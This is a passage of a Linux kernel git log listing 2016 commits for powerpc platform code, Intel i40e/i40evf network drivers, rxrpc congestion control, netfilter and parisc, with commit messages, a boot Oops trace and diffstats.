insertions(+), 51 deletions(-) commit 4d486e0083796b54d5aeddd7a5794f897fca1008 Author: Christophe Leroy Date: Tue Aug 16 08:26:20 2016 +0200 soc/fsl/qe: fix Oops on CPM1 (and likely CPM2) Commit 0e6e01ff694ee ("CPM/QE: use genalloc to manage CPM/QE muram") has changed the way muram is managed. genalloc uses kmalloc(), hence requires the SLAB to be up and running. On powerpc 8xx, cpm_reset() is called early during startup. cpm_reset() then calls cpm_muram_init() before SLAB is available, hence the following Oops. cpm_reset() cannot be called during initcalls because the CPM is needed for console. This patch removes the call to cpm_muram_init() from cpm_reset(). cpm_muram_init() will be called from a new function called cpm_init() which is declared as subsys_initcall, unless cpm_muram_alloc() is called earlier for the serial console in which case cpm_muram_init() will be called from there. The reason for calling it from two places is that some drivers (e.g. i2c-cpm) need some of the initialisations done by cpm_muram_init() but don't call cpm_muram_alloc(). The console driver calls cpm_muram_alloc() but some platforms might not use the CPM serial ports for console. [ 0.000000] Unable to handle kernel paging request for data at address 0x00000008 [ 0.000000] Faulting instruction address: 0xc01acce0 [ 0.000000] Oops: Kernel access of bad area, sig: 11 [#1] [ 0.000000] PREEMPT CMPC885 [ 0.000000] CPU: 0 PID: 0 Comm: swapper Not tainted 4.4.14-g0886ed8 #5 [ 0.000000] task: c05183e0 ti: c0536000 task.ti: c0536000 [ 0.000000] NIP: c01acce0 LR: c0011068 CTR: 00000000 [ 0.000000] REGS: c0537e50 TRAP: 0300 Not tainted (4.4.14-s3k-dev-g0886ed8-svn) [ 0.000000] MSR: 00001032 CR: 28044428 XER: 00000000 [ 0.000000] DAR: 00000008 DSISR: c0000000 GPR00: c0011068 c0537f00 c05183e0 00000000 00009000 ffffffff 00000bc0 ffffffff GPR08: ff003000 ff00b000 ff003bbf 00000000 22044422 100d43a8 00000000 07ff94e8 GPR16: 00000000 07bb5d70 00000000 07ff81f4 07ff81f4 07ff81f4 00000000 00000000 GPR24: 07ffb3a0 07fe7628 c0550000 c7ffa190 c0540000 ff003bbf 00000000 00000001 [ 0.000000] NIP [c01acce0] gen_pool_add_virt+0x14/0xdc [ 0.000000] LR [c0011068] cpm_muram_init+0xd4/0x18c [ 0.000000] Call Trace: [ 0.000000] [c0537f00] [00000200] 0x200 (unreliable) [ 0.000000] [c0537f20] [c0011068] cpm_muram_init+0xd4/0x18c [ 0.000000] [c0537f70] [c0494684] cpm_reset+0xb4/0xc8 [ 0.000000] [c0537f90] [c0494c64] cmpc885_setup_arch+0x10/0x30 [ 0.000000] [c0537fa0] [c0493cd4] setup_arch+0x130/0x168 [ 0.000000] [c0537fb0] [c04906bc] start_kernel+0x88/0x380 [ 0.000000] [c0537ff0] [c0002224] start_here+0x38/0x98 [ 0.000000] Instruction dump: [ 0.000000] 91430010 91430014 80010014 83e1000c 7c0803a6 38210010 4e800020 7c0802a6 [ 0.000000] 9421ffe0 bf61000c 90010024 7c7e1b78 <80630008> 7c9c2378 7cc31c30 3863001f [ 0.000000] ---[ end trace dc8fa200cb88537f ]--- fixes: 0e6e01ff694ee ("CPM/QE: use genalloc to manage CPM/QE muram") Cc: stable@vger.linux.org Signed-off-by: Christophe Leroy [scottwood: Removed some string changes unrelated to bugfix] Signed-off-by: Scott Wood arch/powerpc/sysdev/cpm1.c | 2 -- arch/powerpc/sysdev/cpm2.c | 4 ---- arch/powerpc/sysdev/cpm_common.c | 15 +++++++++++++++ drivers/soc/fsl/qe/qe_common.c | 8 ++++++++ 4 files changed, 23 insertions(+), 6 deletions(-) commit 1fadfe9e19c9d3c26b3e7e9baee5e6846175ad51 Author: Julia Lawall Date: Fri Aug 5 10:56:49 2016 +0200 powerpc/mpic: use of_property_read_bool Use of_property_read_bool to check for the existence of a property. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @@ expression e1,e2; statement S2,S1; @@ - if (of_get_property(e1,e2,NULL)) + if (of_property_read_bool(e1,e2)) S1 else S2 // Signed-off-by: Julia Lawall Acked-by: Michael Ellerman Signed-off-by: Scott Wood arch/powerpc/sysdev/mpic.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 74c269f69cdae83253be7f65840dd1ae589d5e99 Author: Julia Lawall Date: Fri Aug 5 10:56:41 2016 +0200 fsl/qe: use of_property_read_bool Use of_property_read_bool to check for the existence of a property. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @@ expression e1,e2; statement S2,S1; @@ - if (of_get_property(e1,e2,NULL)) + if (of_property_read_bool(e1,e2)) S1 else S2 // Signed-off-by: Julia Lawall Signed-off-by: Scott Wood drivers/soc/fsl/qe/qe_tdm.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7120438e5d82f445acbfe131a1b58eab7e83fa33 Author: Andrey Smirnov Date: Thu Jul 28 16:07:18 2016 -0700 powerpc: Convert fsl_rstcr_restart to a reset handler Convert fsl_rstcr_restart into a function to be registered with register_reset_handler(). Signed-off-by: Andrey Smirnov [scottwood: Converted mvme7100 as well] Signed-off-by: Scott Wood arch/powerpc/platforms/85xx/bsc913x_qds.c | 1 - arch/powerpc/platforms/85xx/bsc913x_rdb.c | 1 - arch/powerpc/platforms/85xx/c293pcie.c | 1 - arch/powerpc/platforms/85xx/corenet_generic.c | 1 - arch/powerpc/platforms/85xx/ge_imp3a.c | 1 - arch/powerpc/platforms/85xx/mpc8536_ds.c | 1 - arch/powerpc/platforms/85xx/mpc85xx_ads.c | 1 - arch/powerpc/platforms/85xx/mpc85xx_cds.c | 25 ++++++++++++++------ arch/powerpc/platforms/85xx/mpc85xx_ds.c | 3 --- arch/powerpc/platforms/85xx/mpc85xx_mds.c | 3 --- arch/powerpc/platforms/85xx/mpc85xx_rdb.c | 10 -------- arch/powerpc/platforms/85xx/mvme2500.c | 1 - arch/powerpc/platforms/85xx/p1010rdb.c | 1 - arch/powerpc/platforms/85xx/p1022_ds.c | 1 - arch/powerpc/platforms/85xx/p1022_rdk.c | 1 - arch/powerpc/platforms/85xx/p1023_rdb.c | 1 - arch/powerpc/platforms/85xx/ppa8548.c | 1 - arch/powerpc/platforms/85xx/qemu_e500.c | 1 - arch/powerpc/platforms/85xx/sbc8548.c | 1 - arch/powerpc/platforms/85xx/socrates.c | 1 - arch/powerpc/platforms/85xx/stx_gp3.c | 1 - arch/powerpc/platforms/85xx/tqm85xx.c | 1 - arch/powerpc/platforms/85xx/twr_p102x.c | 1 - arch/powerpc/platforms/85xx/xes_mpc85xx.c | 3 --- arch/powerpc/platforms/86xx/gef_ppc9a.c | 1 - arch/powerpc/platforms/86xx/gef_sbc310.c | 1 - arch/powerpc/platforms/86xx/gef_sbc610.c | 1 - arch/powerpc/platforms/86xx/mpc8610_hpcd.c | 1 - arch/powerpc/platforms/86xx/mpc86xx_hpcn.c | 1 - arch/powerpc/platforms/86xx/mvme7100.c | 1 - arch/powerpc/platforms/86xx/sbc8641d.c | 1 - arch/powerpc/sysdev/fsl_soc.c | 33 ++++++++++++++++----------- arch/powerpc/sysdev/fsl_soc.h | 2 -- 33 files changed, 38 insertions(+), 67 deletions(-) commit 782f07290c5781539cdf2bca68f0596903c83c87 Merge: 2b26dd4 c5f1edd Author: Mark Brown Date: Sat Sep 24 23:05:10 2016 -0700 Merge branch 'topic/rt5663' of git://git.kernel.org/pub/scm/linux/kernel/git/broonie/sound into asoc-rt5660 commit 65e87c0398f542d5bd51cfd8a29b9dfd246b6a1c Author: Jacob Keller Date: Mon Sep 12 14:18:44 2016 -0700 i40evf: support queue-specific settings for interrupt moderation In commit a75e8005d506f3 ("i40e: queue-specific settings for interrupt moderation") the i40e driver gained support for setting interrupt moderation values per queue. This patch adds support for this feature to the i40evf driver as well. In addition, a few changes are made to the i40e implementation to add function header documentation comments, as well. This behaves in a similar fashion to the implementation in i40e. Thus, requesting the moderation value when no queue is provided will report queue 0 value, while setting the value without a queue will set all queues at once. Change-ID: I1f310a57c8e6c84a8524c178d44d1b7a6d3a848e Signed-off-by: Jacob Keller Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e_ethtool.c | 72 ++++++- drivers/net/ethernet/intel/i40e/i40e_txrx.c | 21 ++- drivers/net/ethernet/intel/i40evf/i40e_txrx.c | 26 ++- drivers/net/ethernet/intel/i40evf/i40e_txrx.h | 8 + drivers/net/ethernet/intel/i40evf/i40evf.h | 7 - drivers/net/ethernet/intel/i40evf/i40evf_ethtool.c | 206 ++++++++++++++++----- drivers/net/ethernet/intel/i40evf/i40evf_main.c | 10 +- 7 files changed, 280 insertions(+), 70 deletions(-) commit a4fa59cc5bb028ebb8048e8dcb6f92b2a1ea07f6 Author: Mitch Williams Date: Mon Sep 12 14:18:43 2016 -0700 i40e: don't configure zero-size RSS table In some rare cases, we might get a VSI with no queues. In this case, we cannot configure RSS on this VSI as it will try to divide by zero when configuring the lookup table. Change-ID: I6ae173a7dd3481a081e079eb10eb80275de2adb0 Signed-off-by: Mitch Williams Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e_main.c | 2 ++ 1 file changed, 2 insertions(+) commit 1eb846ac90b956e52f4269d80f13cfbe1df6850b Author: Alexander Duyck Date: Mon Sep 12 14:18:42 2016 -0700 i40e: Strip out debugfs hook for Flow Director filter programming This interface was only ever meant for debug only. Since it is not supposed to be here we are removing it. Change-ID: Id771a1e5e7d3e2b4b7f56591b61fb48c921e1d04 Signed-off-by: Alexander Duyck Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e.h | 2 - drivers/net/ethernet/intel/i40e/i40e_debugfs.c | 80 -------------------------- drivers/net/ethernet/intel/i40e/i40e_txrx.c | 5 +- 3 files changed, 3 insertions(+), 84 deletions(-) commit 5e02f2837349b399e48fd2a5e5149c9ee9c27cdd Author: Alexander Duyck Date: Mon Sep 12 14:18:41 2016 -0700 i40e: Split Flow Director descriptor config into separate function In an effort to improve code readability I am splitting the Flow Director filter configuration out into a separate function like we have done for the standard xmit path. The general idea is to provide a single block of code that translates the flow specification into a proper Flow Director descriptor. Change-ID: Id355ad8030c4e6c72c57504fa09de60c976a8ffe Signed-off-by: Alexander Duyck Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e_txrx.c | 115 ++++++++++++++++------------ 1 file changed, 64 insertions(+), 51 deletions(-) commit e486bdfd7c491e997f29fcdf6a4216861ab1d06a Author: Alexander Duyck Date: Mon Sep 12 14:18:40 2016 -0700 i40e/i40evf: Add txring_txq function to match fm10k and ixgbe This patch adds a txring_txq function which allows us to convert a i40e_ring/i40evf_ring to a netdev_tx_queue structure. This way we can avoid having to make a multi-line function call for all the spots that need access to this. Change-ID: Ic063b71d8b92ea406d2c32e798c8e2b02809d65b Signed-off-by: Alexander Duyck Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e_txrx.c | 17 ++++++----------- drivers/net/ethernet/intel/i40e/i40e_txrx.h | 9 +++++++++ drivers/net/ethernet/intel/i40evf/i40e_txrx.c | 17 ++++++----------- drivers/net/ethernet/intel/i40evf/i40e_txrx.h | 9 +++++++++ 4 files changed, 30 insertions(+), 22 deletions(-) commit 64bfd68eaecdce7b86e179fe39662340c8aed20d Author: Alexander Duyck Date: Mon Sep 12 14:18:39 2016 -0700 i40e: Fix Flow Director raw_buf cleanup The Tx cleanup flow was incorrectly assuming it could check for the flow director bits after it had unmapped the buffer. However in this case it results in us trying to free a raw_buf as though it is an sk_buff. To fix this I am moving up the flag test for the FD_SB bit so that when find a non-NULL skb or raw_buf value we then check the flag and use the appropriate call to free the buffer. Change-ID: I6284034ba1ea87c9922e56f6eb3181f7f09bddde Signed-off-by: Alexander Duyck Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e_txrx.c | 8 ++++---- drivers/net/ethernet/intel/i40evf/i40e_txrx.c | 8 ++++---- 2 files changed, 8 insertions(+), 8 deletions(-) commit ad24747304de84d2b158f2e8a1d31b18153d3878 Author: Andrey Smirnov Date: Thu Jul 28 16:07:17 2016 -0700 powerpc: Call chained reset handlers during reset Call out to all restart handlers that were added via register_restart_handler() API when restarting the machine. Signed-off-by: Andrey Smirnov Signed-off-by: Scott Wood arch/powerpc/kernel/setup-common.c | 4 ++++ 1 file changed, 4 insertions(+) commit d0d738a41474a75b686b2a0b9c1a62928556e673 Author: Andrey Smirnov Date: Thu Jul 28 16:07:16 2016 -0700 powerpc: Factor out common code in setup-common.c Factor out a small bit of common code in machine_restart(), machine_power_off() and machine_halt(). Signed-off-by: Andrey Smirnov Signed-off-by: Scott Wood arch/powerpc/kernel/setup-common.c | 23 ++++++++++++++--------- 1 file changed, 14 insertions(+), 9 deletions(-) commit 625f3eea40024d0fc6562fc737761bba696c662b Author: Andrey Smirnov Date: Mon Jul 25 21:45:01 2016 -0700 powerpc/sgy_cts1000: Fix gpio_halt_cb()'s signature Halt callback in struct machdep_calls is declared with __noreturn attribute, so omitting that attribute in gpio_halt_cb()'s signatrue results in compilation error. Change the signature to address the problem as well as change the code of the function to avoid ever returning from the function. Signed-off-by: Andrey Smirnov Signed-off-by: Scott Wood arch/powerpc/platforms/85xx/sgy_cts1000.c | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) commit 49bf9279cd3edb9d7178223f52d4656dbf2e46b5 Author: Andrey Smirnov Date: Mon Jul 25 21:30:10 2016 -0700 powerpc/e8248e: Select PHYLIB only if NETDEVICES is enabled Select PHYLIB only if NETDEVICES is enabled and MDIO_BITBANG only if PHYLIB is present to avoid warnings from Kconfig. To prevent undefined references during linking register MDIO driver only if CONFIG_MDIO_BITBANG is enabled. Signed-off-by: Andrey Smirnov Signed-off-by: Scott Wood arch/powerpc/platforms/82xx/Kconfig | 4 ++-- arch/powerpc/platforms/82xx/ep8248e.c | 4 +++- 2 files changed, 5 insertions(+), 3 deletions(-) commit 93c4ea38a19815d59f2f2afe8414ba27288b8b70 Author: Andrey Smirnov Date: Mon Jul 25 21:30:09 2016 -0700 powerpc/mpc85xx_mds: Select PHYLIB only if NETDEVICES is enabled PHYLIB depends on NETDEVICES, so to avoid unmet dependencies warning from Kconfig it needs to be selected conditionally. Also add checks if PHYLIB is built-in to avoid undefined references to PHYLIB's symbols. Signed-off-by: Andrey Smirnov Signed-off-by: Scott Wood arch/powerpc/platforms/85xx/Kconfig | 2 +- arch/powerpc/platforms/85xx/mpc85xx_mds.c | 9 ++++++++- 2 files changed, 9 insertions(+), 2 deletions(-) commit ddc6cd0d70a6f958b2c01758ee53279d36db2234 Author: Christophe Leroy Date: Tue May 17 14:01:39 2016 +0200 powerpc32: Use instruction symbolic names in check_io_access() Signed-off-by: Christophe Leroy Signed-off-by: Scott Wood arch/powerpc/include/asm/ppc-opcode.h | 1 + arch/powerpc/kernel/traps.c | 7 +++---- 2 files changed, 4 insertions(+), 4 deletions(-) commit 5066943a5170838e58e07163d32ba45b0b360417 Author: Zhao Qiang Date: Fri Sep 23 10:20:31 2016 +0800 soc/fsl/qe: Use of_adress_to_resource() in get_qe_base() modify get_qe_base function with of_address_to_resource instead of of_get_property and of_translate_address. Signed-off-by: Zhao Qiang Signed-off-by: Scott Wood drivers/soc/fsl/qe/qe.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 40f1ebd4e0997e81ac2eb3b2f64d6133051afe86 Author: Vaishali Thakkar Date: Sat Sep 24 12:10:06 2016 +0530 soc/fsl/qe: Use resource_size Use the function resource_size instead of explicit computation. Problem found using Coccinelle. Signed-off-by: Vaishali Thakkar Signed-off-by: Scott Wood drivers/soc/fsl/qe/qe_tdm.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f19a973f46e85d4394cadb90fa7717f7ec98197a Author: Mitch Williams Date: Mon Sep 12 14:18:38 2016 -0700 i40evf: enable adaptive interrupt throttling All of the code to support adaptive interrupt throttling is already in the interrupt handler, it just needs to be enabled. Fill out the data structures properly to make it happen. Single-flow traffic tests may show slightly lower throughput, but interrupts per second will drop by about 75%. Change-ID: I9cd7d42c025b906bf1bb85c6aeb6112684aa6471 Signed-off-by: Mitch Williams Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40evf/i40evf_main.c | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) commit 7ac4b5c6fd351be8f849f687e290ca9724acfd33 Author: Akeem Abodunrin Date: Mon Sep 12 14:18:37 2016 -0700 i40e: Increase minimum number of allocated VSI This patch increases minimum number of allocated VSIs, so as to resolve failure adding VSI for VF when 64-VFs assigned to a PF. The driver supports up to 128 VFs per device, users can decide to enable up to 64-VFs on a single PF, especially 2 X 40 devices. In that scenario, with VMDq co-existence, there would be starvation of VSIs - with this patch, supported features would have enough VSIs for configuration now. Change-ID: If084f4cd823667af8fe7fdc11489c705b32039d5 Signed-off-by: Akeem Abodunrin Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit fa90efa59dabbaac24f1ad2e6535e6daa2845257 Author: Bimmy Pujari Date: Tue Sep 6 18:05:12 2016 -0700 i40e/i40evf: Changed version to 1.6.16 Signed-off-by: Bimmy Pujari Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e_main.c | 2 +- drivers/net/ethernet/intel/i40evf/i40evf_main.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit ac9c5c6d8c17fa105878442ac663f0e9abe3cff5 Author: Henry Tieman Date: Tue Sep 6 18:05:11 2016 -0700 i40e: removing unreachable code The return value from i40e_shutdown_adminq() is always 0 (I40E_SUCCESS). So, the test for non-0 will never be true. Cleanup by removing the test and debug print statement. Change-ID: Ie51e8e37515c3e3a6a9ff26fa951d0e5e24343c1 Signed-off-by: Henry Tieman Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e_main.c | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) commit a3417d287fb02e7bd24c6b1068fe6f9b52a259a6 Author: Jacob Keller Date: Tue Sep 6 18:05:10 2016 -0700 i40e: check conflicting ntuple/sideband rules when re-enabling ATR In i40e_fdir_check_and_reenable(), the driver performs some checks to determine whether it is safe to re-enable FD Sideband and FD ATR support. The current check will only determine if there is available space in the flow director table. However, this ignores the fact that ATR should be disabled when there are TCP/IPv4 sideband rules in effect. Add the missing check, and update the info message printed when I40E_DEBUG_FD is enabled. Change-ID: Ibb9c63e5be95d63c53a498fdd5dbf69f54a00e08 Signed-off-by: Jacob Keller Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e_main.c | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) commit 234dc4e67611c11bb3990abced26cb75b8ef262a Author: Jacob Keller Date: Tue Sep 6 18:05:09 2016 -0700 i40e: cleanup ATR auto_disable_flags use Some locations that disable ATR accidentally used the "full" disable by disabling the flag in the standard flags field. This incorrectly forces ATR off permanently instead of temporarily disabling it. In addition, some code locations accidentally set the ATR flag enabled when they only meant to clear the auto_disable_flags. This results in ignoring the user's ethtool private flag settings. Additionally, when disabling ATR via ethtool, we did not perform a flush of the FD table. This results in the previously assigned ATR rules still functioning which was not expected. Cleanup all these areas so that automatic disable uses only the auto_disable_flag. Fix the flush code so that we can trigger a flush even when we've disabled ATR and SB support, as otherwise the flush doesn't work. Fix ethtool setting to actually request a flush. Fix NETIF_F_NTUPLE flag to only clear the auto_disable setting and not enable the full feature. Change-ID: Ib2486111f8031bd16943e9308757b276305c03b5 Signed-off-by: Jacob Keller Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e_ethtool.c | 3 +++ drivers/net/ethernet/intel/i40e/i40e_main.c | 20 +++++++------------- drivers/net/ethernet/intel/i40e/i40e_txrx.c | 14 +++++++------- 3 files changed, 17 insertions(+), 20 deletions(-) commit 2199254cb50a650934ef2d1c531ec6fdc0a826c5 Author: Preethi Banala Date: Tue Sep 6 18:05:08 2016 -0700 i40e: add encap csum VF offload flag Add ENCAP_CSUM offload negotiation flag. Currently VF assumes checksum offload for encapsulated packets is supported by default. Going forward, this feature needs to be negotiated with PF before advertising to the stack. Hence, we need a flag to control it. This is in regards to prepping up for VF base mode functionality support. Change-ID: Iaab1f25cc0abda5f2fbe3309092640f0e77d163e Signed-off-by: Preethi Banala Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e_virtchnl.h | 1 + drivers/net/ethernet/intel/i40evf/i40e_virtchnl.h | 1 + 2 files changed, 2 insertions(+) commit a6cb91464b5b09c0ff749e4b01048f93ce450275 Author: Alan Brady Date: Tue Sep 6 18:05:07 2016 -0700 i40e: fix deleting mac filters There exists a bug in which deleting a mac filter does not actually occur. The driver reports that the filter has been deleted with no error. The problem occurs because the wrong cmd_flag is passed to the firmware when deleting the filter. The firmware reports an error back to the driver but it is expressly ignored. This fixes the bug by using the correct flag when deleting a filter. Without this patch, deleted filters remain in firmware and function as if they had not been deleted. Change-ID: I5f22b874f3b83f457702f18f0d5602ca21ac40c3 Signed-off-by: Alan Brady Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e_main.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit f2c7c1d09832ef0d6499a9e1a958c3ddc686f723 Author: Harshitha Ramamurthy Date: Tue Sep 6 18:05:06 2016 -0700 i40e: Remove 100 Mbps SGMII support for X722 This patch fixes the problem where driver shows 100 Mbps as a supported speed, and allows it to be configured for advertising on X722 devices. This patch fixes the problem by not setting the 100 Mbps SGMII flag for X722 devices. Without this patch, the user incorrectly thinks that 100 Mbps is supported and hence might try to advertise it on X722 devices when it is actually not a supported speed. Change-ID: I8c3d7c4251a9402d98994ed29749b7b895a0f205 Signed-off-by: Harshitha Ramamurthy Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e_main.c | 1 - 1 file changed, 1 deletion(-) commit c2675de447f8238e7e2e7eced78fa671d42a9a7e Author: Lance Richardson Date: Sat Sep 24 14:01:04 2016 -0400 gre: use nla_get_be32() to extract flowinfo Eliminate a sparse endianness mismatch warning, use nla_get_be32() to extract a __be32 value instead of nla_get_u32(). Signed-off-by: Lance Richardson Signed-off-by: David S. Miller net/ipv6/ip6_gre.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 54f17bbc52f71e2d313721046627c383d6c5c7da Author: Aaron Conole Date: Wed Sep 21 11:35:06 2016 -0400 netfilter: nf_queue: whitespace cleanup A future patch will modify the hook drop and outfn functions. This will cause the line lengths to take up too much space. This is simply a readability change. Signed-off-by: Aaron Conole Signed-off-by: Pablo Neira Ayuso include/net/netfilter/nf_queue.h | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 57494343cb5d66962bb197878fb1cc576177db31 Author: David Howells Date: Sat Sep 24 18:05:27 2016 +0100 rxrpc: Implement slow-start Implement RxRPC slow-start, which is similar to RFC 5681 for TCP. A tracepoint is added to log the state of the congestion management algorithm and the decisions it makes. Notes: (1) Since we send fixed-size DATA packets (apart from the final packet in each phase), counters and calculations are in terms of packets rather than bytes. (2) The ACK packet carries the equivalent of TCP SACK. (3) The FLIGHT_SIZE calculation in RFC 5681 doesn't seem particularly suited to SACK of a small number of packets. It seems that, almost inevitably, by the time three 'duplicate' ACKs have been seen, we have narrowed the loss down to one or two missing packets, and the FLIGHT_SIZE calculation ends up as 2. (4) In rxrpc_resend(), if there was no data that apparently needed retransmission, we transmit a PING ACK to ask the peer to tell us what its Rx window state is. Signed-off-by: David Howells include/trace/events/rxrpc.h | 45 ++++++++++++ net/rxrpc/ar-internal.h | 53 +++++++++++++- net/rxrpc/call_event.c | 36 ++++++++- net/rxrpc/call_object.c | 13 ++++ net/rxrpc/conn_event.c | 1 + net/rxrpc/input.c | 169 +++++++++++++++++++++++++++++++++++++++++-- net/rxrpc/misc.c | 19 +++++ net/rxrpc/output.c | 9 ++- net/rxrpc/sendmsg.c | 7 +- 9 files changed, 339 insertions(+), 13 deletions(-) commit 0d967960d39ee89f9e0289692e9f7232f490e55c Author: David Howells Date: Sat Sep 24 18:05:27 2016 +0100 rxrpc: Schedule an ACK if the reply to a client call appears overdue If we've sent all the request data in a client call but haven't seen any sign of the reply data yet, schedule an ACK to be sent to the server to find out if the reply data got lost. If the server hasn't yet hard-ACK'd the request data, we send a PING ACK to demand a response to find out whether we need to retransmit. If the server says it has received all of the data, we send an IDLE ACK to tell the server that we haven't received anything in the receive phase as yet. To make this work, a non-immediate PING ACK must carry a delay. I've chosen the same as the IDLE ACK for the moment. Signed-off-by: David Howells net/rxrpc/ar-internal.h | 2 ++ net/rxrpc/call_event.c | 1 + net/rxrpc/input.c | 8 ++++++++ net/rxrpc/misc.c | 2 ++ 4 files changed, 13 insertions(+) commit 31a1b989508ce64e8ead504884ced01e61870852 Author: David Howells Date: Sat Sep 24 18:05:26 2016 +0100 rxrpc: Generate a summary of the ACK state for later use Generate a summary of the Tx buffer packet state when an ACK is received for use in a later patch that does congestion management. Signed-off-by: David Howells net/rxrpc/ar-internal.h | 14 ++++++++++++++ net/rxrpc/input.c | 45 ++++++++++++++++++++++++++++++++++----------- 2 files changed, 48 insertions(+), 11 deletions(-) commit df0562a72dba13ab49c7dd7cb15170697b9848ee Author: David Howells Date: Sat Sep 24 23:00:54 2016 +0100 rxrpc: Delay the resend timer to allow for nsec->jiffies conv error When determining the resend timer value, we have a value in nsec but the timer is in jiffies which may be a million or more times more coarse. nsecs_to_jiffies() rounds down - which means that the resend timeout expressed as jiffies is very likely earlier than the one expressed as nanoseconds from which it was derived. The problem is that rxrpc_resend() gets triggered by the timer, but can't then find anything to resend yet. It sets the timer again - but gets kicked off immediately again and again until the nanosecond-based expiry time is reached and we actually retransmit. Fix this by adding 1 to the jiffies-based resend_at value to counteract the rounding and make sure that the timer happens after the nanosecond-based expiry is passed. Alternatives would be to adjust the timestamp on the packets to align with the jiffie scale or to switch back to using jiffie-timestamps. Signed-off-by: David Howells net/rxrpc/call_event.c | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) commit dd7c1ee59a90ca8a75bce72c721851d5550f3c59 Author: David Howells Date: Sat Sep 24 18:05:27 2016 +0100 rxrpc: Reinitialise the call ACK and timer state for client reply phase Clear the ACK reason, ACK timer and resend timer when entering the client reply phase when the first DATA packet is received. New ACKs will be proposed once the data is queued. The resend timer is no longer relevant and we need to cancel ACKs scheduled to probe for a lost reply. Signed-off-by: David Howells net/rxrpc/ar-internal.h | 1 + net/rxrpc/input.c | 9 +++++++++ net/rxrpc/misc.c | 1 + 3 files changed, 11 insertions(+) commit b69d94d7991f83928d3ea18fe12ab011fa852bb0 Author: David Howells Date: Sat Sep 24 18:05:27 2016 +0100 rxrpc: Include the last reply DATA serial number in the final ACK In a client call, include the serial number of the last DATA packet of the reply in the final ACK. Signed-off-by: David Howells net/rxrpc/recvmsg.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit a7056c5ba67ee6a956b42cf9ff9ba3a6a0bd9794 Author: David Howells Date: Sat Sep 24 18:05:27 2016 +0100 rxrpc: Send an immediate ACK if we fill in a hole Send an immediate ACK if we fill in a hole in the buffer left by an out-of-sequence packet. This may allow the congestion management in the peer to avoid a retransmission if packets got reordered on the wire. Signed-off-by: David Howells net/rxrpc/input.c | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) commit b391667eb45a5a888bc9372462c5f647418c31af Author: Helge Deller Date: Sat Sep 24 21:45:46 2016 +0200 parisc: Report trap type as human readable string When faulting on some trap, the kernel currently reports in dmesg: do_page_fault() command='perl' type=6 address=0xbe400403 in libcrypt-2.24.so[f9086000+9000] vm_start = 0x00922000, vm_end = 0x00aed000 With this change the trap type additionally gets reported as human readable string which makes it simpler to recognize the type of problem: do_page_fault() command='perl' type=6 address=0xbe400403 in libcrypt-2.24.so[f9086000+9000] trap #6: Instruction TLB miss fault, vm_start = 0x00922000, vm_end = 0x00aed000 Signed-off-by: Helge Deller arch/parisc/mm/fault.c | 48 +++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 47 insertions(+), 1 deletion(-) commit d4bb5caa9cc1a802ba25f605b24b5640c025806b Author: Aaron Conole Date: Wed Sep 21 11:35:05 2016 -0400 netfilter: Only allow sane values in nf_register_net_hook This commit adds an upfront check for sane values to be passed when registering a netfilter hook. This will be used in a future patch for a simplified hook list traversal. Signed-off-by: Aaron Conole Signed-off-by: Pablo Neira Ayuso net/netfilter/core.c | 5 +++++ 1 file changed, 5 insertions(+) commit e2361cb90a0327bdab34d01d1a7b9dbd67c31e60 Author: Aaron Conole Date: Wed Sep 21 11:35:04 2016 -0400 netfilter: Remove explicit rcu_read_lock in nf_hook_slow All of the callers of nf_hook_slow already hold the rcu_read_lock, so this cleanup removes the recursive call. This is just a cleanup, as the locking code gracefully handles this situation. Signed-off-by: Aaron Conole Signed-off-by: Pablo Neira Ayuso net/bridge/netfilter/ebt_redirect.c | 2 +- net/bridge/netfilter/ebtables.c | 2 +- net/ipv4/netfilter/nf_conntrack_l3proto_ipv4.c | 2 +- net/ipv4/netfilter/nf_conntrack_proto_icmp.c | 2 +- net/ipv6/netfilter/nf_conntrack_l3proto_ipv6.c | 2 +- net/ipv6/netfilter/nf_conntrack_proto_icmpv6.c | 2 +- net/netfilter/core.c | 6 +----- net/netfilter/nf_conntrack_core.c | 2 +- 